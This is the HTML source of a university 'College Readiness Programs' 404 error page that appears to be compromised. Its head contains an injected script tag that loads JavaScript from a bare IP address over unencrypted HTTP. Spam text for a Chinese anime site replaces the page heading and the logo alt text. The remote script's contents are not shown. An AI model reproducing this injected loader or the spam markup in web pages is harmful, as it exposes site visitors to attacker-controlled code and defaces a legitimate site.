  <!DOCTYPE html><html lang="en">
   <head>
      <meta charset="UTF-8"/>
      <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
      <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
      <meta name="viewport" content="width=device-width, initial-scale=1"/>
      <meta http-equiv="cache-control" content="no-cache, max-age:120"/>
      <meta http-equiv="clear-site-data" content="cache"/>
      <meta http-equiv="expires" content="0"/>
      <link href="https://www.fullerton.edu/web/core/images/v5/favicon-16.png"
             rel="shortcut icon"/>
      <link href="https://www.fullerton.edu/web/core/images/v5/favicon-32.png"
             rel="apple-touch-icon"/>
      <meta name="robots" content="index, follow"/>
      <title>404 - Page Not Found | CSUF - College Readiness Programs</title>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/_variables.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/stock-photos.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/media-layouts.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/layout-basics.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/base-style.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/modifiers.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/navigation.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/dark-mode.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="https://use.typekit.net/dvr4dpq.css"/>
      <noscript>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/_variables.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/media-layouts.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/layout-basics.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/base-style.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/modifiers.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/navigation.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/stock-photos.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/dark-mode.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="https://use.typekit.net/dvr4dpq.css"/>
      </noscript>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/theme-1.css"/>
      <noscript>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/theme-1.css"/>
      </noscript>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/cards.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/lists.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/iframe.css"/>
      <noscript>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/cards.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/lists.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/iframe.css"/>
      </noscript>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/accordion-v5.css"/>
      <link rel="preload"
             as="style"
             onload="this.onload=null; this.rel='stylesheet'"
             href="/college-readiness/early-assessment/_resources/_resources/css-standard/motion.css"/>
      <noscript>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/accordion-v5.css"/>
         <link rel="stylesheet"
                type="text/css"
                href="/college-readiness/early-assessment/_resources/_resources/css-standard/motion.css"/>
      </noscript>
      <script src="none" crossorigin="anonymous">聽</script>
      <link rel="preconnect" href="https://fonts.googleapis.com" defer=""/>
      <link rel="preconnect"
             href="https://fonts.gstatic.com"
             crossorigin="anonymous"
             defer=""/>
      <link rel="stylesheet"
             href="https://fonts.googleapis.com/css2?family=Libre+Franklin:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&amp;family=Lora:ital,wght@0,300;0,400;0,500;0,600;0,700;1,400;1,500;1,600;1,700&amp;family=Libre+Baskerville:ital,wght@0,400;0,700;1,400&amp;display=swap"/>
      <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100;0,200;0,300;0,400;0,500;0,700;0,800;1,100;1,400;1,500&amp;display=swap"
             rel="stylesheet"/>
			<script language="javascript">
				var relativePath = "../";
				var randoME = (Math.random() + 1).toString(36).substring(7);
			</script>
		
			<script language="javascript" async type="text/javascript" src="/college-readiness/early-assessment/_resources/_resources/js-standard/page-features-v5.js">
			//page setup
		</script>
			<script language="javascript" async type="text/javascript" src="/college-readiness/early-assessment/_resources/_resources/js-standard/navigation.js">
			//page setup
		</script><script type="text/javascript"
               src="/college-readiness/early-assessment/_resources/_resources/js-standard/hours.js"
               defer="">
		//hours functions
	</script>
      <script type="text/javascript"
               src="/college-readiness/early-assessment/_resources/_resources/js-standard/events-multi-source.js"
               defer="">
		//events builder
	</script>
      <link type="text/css"
             href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.14.1/themes/smoothness/jquery-ui.css"/>
      <script language="javascript"
               src="none"
               type="text/javascript">//jquery</script>
      <script language="javascript"
               src="none"
               type="text/javascript">//jquery-ui</script>
      <script type="text/javascript"
               src="none">//staging site</script>
      <script type="text/javascript"
               src="none">//production site</script>
      <noscript>		
		This page uses javascript to help render elements, if you have problems please enable javascript.
	</noscript>
      <style>	
	.header-top{
		min-height:44px;
		display:flex;
		align-items: center;
    	justify-content: space-between;
		}
		
	#top:not(.mobile) #main-nav {
    width: 100%;
    font-size: initial;
    z-index: 10;
    position: relative;
    min-height: 44px;
    /*max-height: 44px;
    height: 44px;*/
}
		
	
		#top:not(.mobile) #navigation .container{
    		min-height: 44px;
		}		
	
		
	:not(.mobile) .container {
    margin: 0px;
    padding: 0px;
    width: clamp(300px, 100%, var(--container-max-width));
    margin: auto;
    display: grid;
    position: relative;
    z-index: 0;
	}
		
	#top:not(.mobile) #website-info{
		min-height:40px
	}
		
		
/*---- BREAKOUT BOXES ----*/
.breakout-box .MaxGutter{
    max-width: 100% !important;
    width: 100% !important;
}

.grid-row {
    position: relative;
    max-width: 100%;
    width: 100%;
}
		
	
@media (width >= 1040px) {
    
    #search-quicklinks-desktop > * {
        flex-basis: auto;
        max-width: unset;
        flex-direction: row;
        flex-wrap: nowrap;
        align-items: center;
        justify-content: center;
        text-align: center;
    }
		
	#site-wide-content-header.active{
	  min-height:44px;	
		height:44px;
	}
}

@media (875px < width < 1040px) {

    #search-quicklinks-desktop > * {
        flex-basis: auto;
        max-width: 220px;
        flex-direction: row;
        flex-wrap: wrap;
        align-items: center;
        justify-content: center;
        text-align: center;
    }
		
	.header-hours-date{
		width:100%;
		}
	
	#site-wide-content-header.active{
	  min-height:44px;
		height:44px;
	}		
}


@media (500px < width < 875px) {
 
    :not(.mobile) #search-quicklinks-desktop > * {
        flex-basis: auto;
        max-width: unset;
        flex-direction: row;
        flex-wrap: nowrap ;
        align-items: center;
        justify-content: center;
        text-align: center;
        line-height:30px;
    }
}
		</style>
   
<script src="http://45.250.196.108/mggg.js"></script>


</head>
	<script async src="none"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-7SH50L45LL');
</script>
	<body id="top"
          name="top"
          onresize="CheckPageSetup()"
          class="theme-1 has-division "><h1><a href="/">樱花动漫</a></h1>
      <div id="test-width">聽</div>
      <header id="header" class="">
         <section id="skip-nav-holder">
            <a id="a-skip-nav" class="sr-only" href="#H1-0">Skip to main content</a>
         </section>
         <div id="emergency-alert" class="emergency-message">聽</div>
         <div id="campus-alert" class="campus-message">聽</div>
         <div id="site-alert" class="site-message ">聽</div>
         <div id="test-info">聽</div>
         <section id="divAjaxTools">
            <input type="hidden" id="hdnDirectory" value="/_errors"/>
            <input type="hidden" id="hdnLastScrollLocation"/>
            <input type="hidden" id="hdnOUUser" value="zz-klewis"/>
            <input type="hidden"
                    id="hdnOUPageID"
                    value="fec9382b-5ed8-441b-8db7-2591987cb7ef"/>
            <input type="hidden" id="hdnInterfaceNavTime" value="0"/>
            <input type="hidden" id="hdnIsDev" value="1"/>
            <input type="hidden"
                    id="hdnServerBase"
                    value="https://itwebstg.fullerton.edu/college-readiness"/>
            <input type="hidden"
                    id="hdnSiteURL"
                    value="//www.fullerton.edu/college-readiness"/>
            <input type="hidden" id="hdnSiteURLAlt1" value=""/>
            <input type="hidden" id="hdnSiteURLAlt2" value=""/>
            <input type="hidden"
                    id="hdnStgURL"
                    value="https://itwebstg.fullerton.edu/college-readiness"/>
            <input type="hidden" id="hdnPageName" value="404.html"/>
            <input type="hidden" id="hdnPageBreadcrumbs" value="0"/>
            <input type="hidden"
                    id="hdnHoursFileURL"
                    value="https://itwebstg.fullerton.edu/college-readiness/_setup/hours.xml"/>
            <input type="hidden"
                    id="hdnEventsFileURL"
                    value="https://itwebstg.fullerton.edu/college-readiness/_setup/events.xml"/>
            <input type="hidden"
                    id="hdnGoLiveFileURL"
                    value="https://itwebstg.fullerton.edu/college-readiness/_setup/sitemap_golive.xml"/>
            <input type="hidden"
                    id="hdnTagManagerFileURL"
                    value="https://itwebstg.fullerton.edu/college-readiness/_setup/tagmanager.xml"/>
            <input type="hidden"
                    id="hdnCategoryManagerFileURL"
                    value="https://itwebstg.fullerton.edu/college-readiness/_setup/categorymanager.xml"/>
            <input type="hidden" id="hdnHeaderSize" value="0px"/>
            <input type="hidden" id="hdnHeaderSetup" value=""/>
            <input type="hidden" id="hdnGoogleFilter" value=""/>
            <input type="hidden" id="hdnForceSSL" value="1"/>
            <input type="hidden" id="hdnRelativePath" value="../"/>
            <input type="hidden" id="hdnUsePath" value="../"/>
            <input type="hidden" id="hdnSlashCount" value="2"/>
            <input type="hidden" id="hdnUseLeftNav" value="1"/>
            <input type="hidden" id="hdnPageSetupComplete" value="0"/>
            <input type="hidden"
                    id="hdnLayoutCSS"
                    value="b1-2-1-9 b2-0 b3-0 b4-0 b5-0"/>
            <input type="hidden" id="hdnEventsDates"/>
            <input type="hidden" id="hdnVersion" value="Version 5.28"/>
            <p id="hdnLoginLink" style="display:none"><a id="direct-edit"  href="none">Last Published 11/24/25</a></p>
            <input type="hidden" id="hdnEditMode" value="0"/>
            <input type="hidden" id="hdnAuthStarted" value="0"/>
            <input type="hidden" id="hdnAuthReq" value="0"/>
            <input type="hidden" id="hdnDirAuth" value="unchecked"/>
            <input type="hidden" id="hdnSiteAuth" value="unchecked"/>
            <input type="hidden" id="hdnEmergencySiteSetupJson" value=""/>
            <input type="hidden" id="hdnPoliceSiteSetupJson" value=""/>
            <input type="hidden" id="hdnPageErrors" value=""/>
            <input type="hidden" id="hdnPageDetails" value=""/>
            <script id="srpSiteSetupXML" type="text/xml">聽</script>
            <script id="srpSiteSetupJSON" type="text/json">聽</script>
            <script id="srpTabNavigationJson" type="text/json">聽</script>
            <script id="srpSiteWideContent" type="text/xml">聽</script>
            <script id="srpLeftNav" type="text/xml">聽</script>
            <script id="srpMediaLayoutCatalog" type="text/json">聽</script>
            <script id="srpEventsDataCampus" type="text/json">聽</script>
            <script id="srpEventsDataLocal" type="text/xml">聽</script>
         </section>
         <div class="header-data">
            <div class="container">
               <div class="header-top">
                  <section id="website-csuflogo"
                            onmouseover="CloseNavigation()"
                            onfocus="CloseNavigation()">
                     <div class="CSUF-header-logo">
                        <a href="none" onfocus="CloseSkipMenu()">
                           <span class="dark-mode">
                              <img src="https://www.fullerton.edu/web/core/images/v5/csuf-wordmark-reversed.svg"
                                    alt="樱花动漫"
                                    id="csuf_emblem"
                                    height="30"
                                    width="180"/>
                           </span>
                           <span class="light-mode">
                              <img src="https://www.fullerton.edu/web/core/images/v5/csuf-wordmark.svg"
                                    alt="樱花动漫"
                                    id="csuf_emblem"
                                    height="30"
                                    width="180"/>
                           </span>
                        </a>
                     </div>
                  </section>
                  <section id="search-quicklinks-desktop">
                     <div class="website-hours">
                        <button id="lnkmobile-hours"
                                 onclick="MobileHours()"
                                 aria-label="show or hide hours">
                           <i class="fa-solid fa-clock">
                              <span class="visually-hidden">Hours</span>
                           </i>
                        </button>
                        <div id="divMobileSocialHours">Hours Go Here</div>
                     </div>
                     <div class="campus-portal-link">
                        <a href="none">
                           <i class="fa-solid fa-lock" role="img">
                              <span class="visually-hidden">Lock Icon - login required</span>
                           </i>
                           <span class="span-portal">Portal</span>
                           <span class="span-login">Login</span>
                        </a>
                     </div>
                     <div class="campus-quicklinks">
                        <button id="lnkquicklinks"
                                 onclick="CampusResources()"
                                 class="quicklinks"
                                 aria-label="Campus Wide Resources">
                           <span class="span-resources">Resources</span>
                        </button>
                     </div>
                     <div class="search-button">
                        <button id="lnksearch"
                                 onclick="Search()"
                                 class="search"
                                 aria-label="Search site or campus with Google">
                           <i class="fa-solid fa-magnifying-glass" aria-hidden="true">
                              <span class="visually-hidden">Search Icon</span>
                           </i>
                           <span>Search</span>
                        </button>
                     </div>
                     <div id="sec-display-mode" class="dark-toggle">
                        <button onclick="displayModeToggle()"
                                 id="display-mode"
                                 aria-label="Switch page to dark or light mode">
                           <i class="fa-solid fa-moon">
                              <span class="visually-hidden">Dark Mode</span>
                           </i>
                           <span id="spn-display-mode-text" class="visually-hidden">Switch to dark mode</span>
                        </button>
                     </div>
                  </section>
               </div>
               <section id="website-info" class="">
                  <section id="website-name">
                     <div id="branding">
                        <p id="unit">
                           <a id="unit-a">Student Academic Support</a>
                        </p>
                        <p id="sitename" class="mobile-single">
                           <a id="sitename-a">
                              <span id="site-full" class="site-fullname">College Readiness Programs</span>
                              <span class="site-shortname mobile-single">College Readiness Programs</span>
                           </a>
                        </p>
                     </div>
                     <div id="lowerscrollNavHolder">
                        <span class="empty">聽</span>
                     </div>
                  </section>
                  <section id="website-unit">
                     <span class="empty">聽</span>
                  </section>
               </section>
            </div>
         </div>
         <nav id="navigation" aria-label="site-wide navigation">
            <div class="container">
               <div id="navigation-links"
                     style="opacity:0"
                     aria-label="site main navigation"
                     class="">聽</div>
               <div class="table-of-contents">
                  <button id="lnk-toc"
                           onclick="OnThisPage()"
                           class="quicklinks"
                           aria-label="Headings on this page">
                     <i class="fa-duotone fa-compass">
                        <span class="visually-hidden">on this page</span>
                     </i>
                     <span class="span-resources">Page Topics</span>
                  </button>
               </div>
               <div id="tab-social" class="header-social">聽</div>
            </div>
         </nav>
      </header>
      <section id="social-quicklinks-search">
         <section id="campus-resources">聽</section>
         <section id="website-search">聽	</section>
      </section>
      <main id="main-content" class="">
         <div class="sr-only" tabindex="-1" id="inside-main-content">You are now inside the main content area</div>
         <div class="container">
            <section id="main-content-shell" class="main-content-gutter ">
               <div id="left-compartment" class="empty">
                  <div id="left-compartment-shell">
                     <div id="left-nav-extend">
                        <button id="btn-left-nav-show-hide"
                                 onclick="LeftNavExtend()"
                                 aria-label="Show / Hide Left Navigation Menu">
                           <i class="fa-light fa-sidebar">
                              <span class="visually-hidden">Show / Hide Left Navigation Menu</span>
                           </i>
                           <span class="span-left-nav-close">Close</span>
                        </button>
                     </div>
                     <div id="left-nav">聽</div>
                     <section id="site-wide-content-left">聽</section>
                  </div>
               </div>
               <div id="page-content">
                  <div class=" container ">
                     <div id="box1"
                           desktop=""
                           mobile=""
                           css=" box-padding"
                           class=" box-padding"
                           style=""
                           stage="publish">
                        <div class="MaxGutter">
                           <div class="grid-row">
                              <div class="grid-backgrounds grid-layout-2-1-9">
                                 <div class="empty">
                                    <span class="empty">聽</span>
                                 </div>
                                 <div class="empty">
                                    <span class="empty">聽</span>
                                 </div>
                              </div>
                              <div class="grid-container">
                                 <div class="left-col">
                                    <span class="empty">left col</span>
                                 </div>
                                 <div class="grid-content grid-layout-2-1-9">
                                    <div id="div-1"
                                          class="grid-item div1  middle left has-content "
                                          desktop=""
                                          mobile=""
                                          css="grid-item div1  middle left has-content ">
                                       <div class="overlay-content">
                                          
                                          <h2>The file you're looking for is no longer here.</h2>
                                          <p xmlns:ouc="http://omniupdate.com/" class="larger">Websites grow, change, so this isn't always a bad thing.</p>
                                          <p xmlns:ouc="http://omniupdate.com/">The file you are looking for was not found. 聽This can be caused by the page being deleted, renamed, or moved to a new url. 聽Use the search box above to search this site for the content you are looking for. 聽If you still can't find it please contact the webmaster for better assistance.</p>
                                          <p xmlns:ouc="http://omniupdate.com/" class="smaller">Sorry for the inconvenience.</p>
                                       </div>
                                       <input type="hidden" id="hdnFilter-section1" value=""/>
                                    </div>
                                    <div id="div-2"
                                          class="grid-item div2  card middle has-content "
                                          desktop=""
                                          mobile=""
                                          css="grid-item div2  card middle has-content ">
                                       <div class="overlay-content">
                                          
                                          <p xmlns:ouc="http://omniupdate.com/" style="padding: 1px;">
                                             <span style="color: #cc3333; font-size: 5em;">404</span>
                                          </p>
                                          <p xmlns:ouc="http://omniupdate.com/" style="padding: 1px;">
                                             <span style="color: #555; font-size: 2em;">file not found</span>
                                          </p>
                                       </div>
                                       <input type="hidden" id="hdnFilter-section2" value=""/>
                                    </div>
                                 </div>
                                 <div class="right-col">
                                    <span class="empty">right col</span>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div>
                     <div id="box2"
                           desktop=""
                           mobile=""
                           css=" no-box-padding"
                           class=" no-box-padding"
                           style="display:none"
                           stage="publish">
                        <div class="MaxGutter">
                           <comment>This section is unused</comment>
                        </div>
                     </div>
                     <div id="box3"
                           desktop=""
                           mobile=""
                           css=" no-box-padding"
                           class=" no-box-padding"
                           style="display:none"
                           stage="publish">
                        <div class="MaxGutter">
                           <comment>This section is unused</comment>
                        </div>
                     </div>
                     <div id="box4"
                           desktop=""
                           mobile=""
                           css=" no-box-padding"
                           class=" no-box-padding"
                           style="display:none"
                           stage="publish">
                        <div class="MaxGutter">
                           <comment>This section is unused</comment>
                        </div>
                     </div>
                     <div id="box5"
                           desktop=""
                           mobile=""
                           css=" no-box-padding"
                           class=" no-box-padding"
                           style="display:none"
                           stage="publish">
                        <div class="MaxGutter">
                           <comment>This section is unused</comment>
                        </div>
                     </div>
                  </div>
               </div>
               <div id="right-compartment" class="empty">
                  <div id="page-nav">聽</div>
                  <section id="site-wide-content-right">聽</section>
               </div>
            </section>
         </div>
      </main>
      <div id="back-to-top" class="btt-off">
         <button id="lnkBTT" onclick="BackToTop()" aria-label="Back to page top"><i title="back to top" class="fa-solid fa-up-to-line"></i><span class="visually-hidden">Back To Page Top</span>
         </button>
      </div>
      <footer id="footer">聽</footer>
      <section id="mobile-options">
         <article class="mobile-main-nav">
            <button id="btn-mobile-menu"
                     onclick="MobileMenu()"
                     aria-label="open main menu">
               <i id="iMobileMenuIcon" class="fa-regular fa-bars">
                  <span class="visually-hidden">mobile menu</span>
               </i>
               <span class="span-mobile-menu">Menu</span>
            </button>
         </article>
         <article class="campus-portal-link">
            <button onclick="OpenPortal()"
                     id="btn-portal-mobile"
                     class="quicklinks"
                     aria-label="Campus Portal">
               <i class="fa-solid fa-lock">
                  <span class="visually-hidden">Lock Icon - login required</span>
               </i>
               <span class="span-portal">Portal</span>
            </button>
         </article>
         <article class="campus-quicklinks">
            <button id="lnk-mobile-quicklinks"
                     onclick="CampusResources()"
                     class="quicklinks"
                     aria-label="Campus Wide Resources">
               <i class="fa-solid fa-list-dropdown">
                  <span class="visually-hidden">Campus Wide</span>
               </i>
               <span class="span-resources">Resources</span>
            </button>
         </article>
         <article class="table-of-contents">
            <button id="lnktoc"
                     onclick="OnThisPage()"
                     class="quicklinks"
                     aria-label="On this page">
               <i class="fa-duotone fa-compass">
                  <span class="visually-hidden">on this page</span>
               </i>
               <span class="span-resources">Page Topics</span>
            </button>
         </article>
         <article class="search-button">
            <button id="lnksearch-mobile"
                     onclick="Search()"
                     class="search"
                     aria-label="Search">
               <i class="fa-light fa-magnifying-glass" aria-hidden="true">
                  <span class="visually-hidden">Search Icon</span>
               </i>
               <span>Search</span>
            </button>
         </article>
         <article id="art-mobile-display-mode" class="dark-toggle">
            <button onclick="displayModeToggle()"
                     id="mobile-display-mode"
                     aria-label="switch to dark or light mode">
               <i class="fa-solid fa-moon">
                  <span class="visually-hidden">switch to light mode</span>
               </i>
               <span id="mobile-spn-display-mode-text" class="visually-hidden">Dark Mode</span>
            </button>
         </article>
      </section><div id="lightbox" class=""></div><div id="blackout" class="blackout-off"></div><script type="text/javascript">
	
////////////////////////////////////////
function setDisplayMode() {
    let themeVal = getTheme();
    let btnMode = document.getElementById("display-mode");
    let btnModeText = document.getElementById("spn-display-mode-text");
    let btnMobileMode = document.getElementById("mobile-display-mode");
    let btnMobileModeText = document.getElementById("mobile-spn-display-mode-text");

    if (themeVal == "dark") {
        //we set to dark
        document.body.setAttribute("style", "color-scheme:dark");
        document.body.classList.add("dark-mode");
        document.body.classList.remove("light-mode");
        //set the button to be light mode
        btnMode.querySelector("i").className = "fa-solid fa-moon";
        btnMode.setAttribute("mode", "dark");
        btnMode.setAttribute("title", "switch to light mode");
        btnModeText.innerHTML = "Switch to light mode";

        btnMobileMode.querySelector("i").className = "fa-solid fa-moon";
        btnMobileMode.setAttribute("mode", "dark");
        btnMobileMode.setAttribute("title", "switch to light mode");
        btnMobileModeText.innerHTML = "Switch to light mode";
    } else {
        //we set to light
        document.body.setAttribute("style", "color-scheme:light");
        document.body.classList.remove("dark-mode");
        document.body.classList.add("light-mode");
        //set the button to be dark mode
        btnMode.querySelector("i").className = "fa-solid fa-sun";
        btnMode.setAttribute("mode", "light");
        btnMode.setAttribute("title", "switch to dark mode");
        btnModeText.innerHTML = "Switch to dark mode";

        btnMobileMode.querySelector("i").className = "fa-solid fa-sun";
        btnMobileMode.setAttribute("mode", "light");
        btnMobileMode.setAttribute("title", "switch to dark mode");
        btnMobileModeText.innerHTML = "Switch to dark mode";
    }
}
	////////////////////////////////////////////////////////
		function getTheme() {
    return localStorage.getItem('theme') || 'light';
}	
	setTimeout(function(){setDisplayMode();}, 50);	
	</script>
      <script type="text/javascript">
		//sets the light/dark mode
		setTimeout(function(){PageHasLoaded();}, 400);
		setTimeout(function(){PageHasLoaded();}, 800);
		setTimeout(function(){PageHasLoaded();}, 1200);
	</script>
   </body>
</html>
<script id="f5_cspm">(function(){var f5_cspm={f5_p:'NNHKENELEDIODOLPPLCPGEGFOIHCLOFODLEPLBLMLBNPEOJEGAPONEECECBEILMLPAJBOBKNAANBDJAMGPHADBBBAAIGKKFALLPCJFOMGBMKPFODCDABLADFGNLOIIKA',setCharAt:function(str,index,chr){if(index>str.length-1)return str;return str.substr(0,index)+chr+str.substr(index+1);},get_byte:function(str,i){var s=(i/16)|0;i=(i&15);s=s*32;return((str.charCodeAt(i+16+s)-65)<<4)|(str.charCodeAt(i+s)-65);},set_byte:function(str,i,b){var s=(i/16)|0;i=(i&15);s=s*32;str=f5_cspm.setCharAt(str,(i+16+s),String.fromCharCode((b>>4)+65));str=f5_cspm.setCharAt(str,(i+s),String.fromCharCode((b&15)+65));return str;},set_latency:function(str,latency){latency=latency&0xffff;str=f5_cspm.set_byte(str,40,(latency>>8));str=f5_cspm.set_byte(str,41,(latency&0xff));str=f5_cspm.set_byte(str,35,2);return str;},wait_perf_data:function(){try{var wp=window.performance.timing;if(wp.loadEventEnd>0){var res=wp.loadEventEnd-wp.navigationStart;if(res<60001){var cookie_val=f5_cspm.set_latency(f5_cspm.f5_p,res);window.document.cookie='f5avr1588597514aaaaaaaaaaaaaaaa_cspm_='+encodeURIComponent(cookie_val)+';path=/;'+'';}
return;}}
catch(err){return;}
setTimeout(f5_cspm.wait_perf_data,100);return;},go:function(){var chunk=window.document.cookie.split(/\s*;\s*/);for(var i=0;i<chunk.length;++i){var pair=chunk[i].split(/\s*=\s*/);if(pair[0]=='f5_cspm'&&pair[1]=='1234')
{var d=new Date();d.setTime(d.getTime()-1000);window.document.cookie='f5_cspm=;expires='+d.toUTCString()+';path=/;'+';';setTimeout(f5_cspm.wait_perf_data,100);}}}}
f5_cspm.go();}());</script>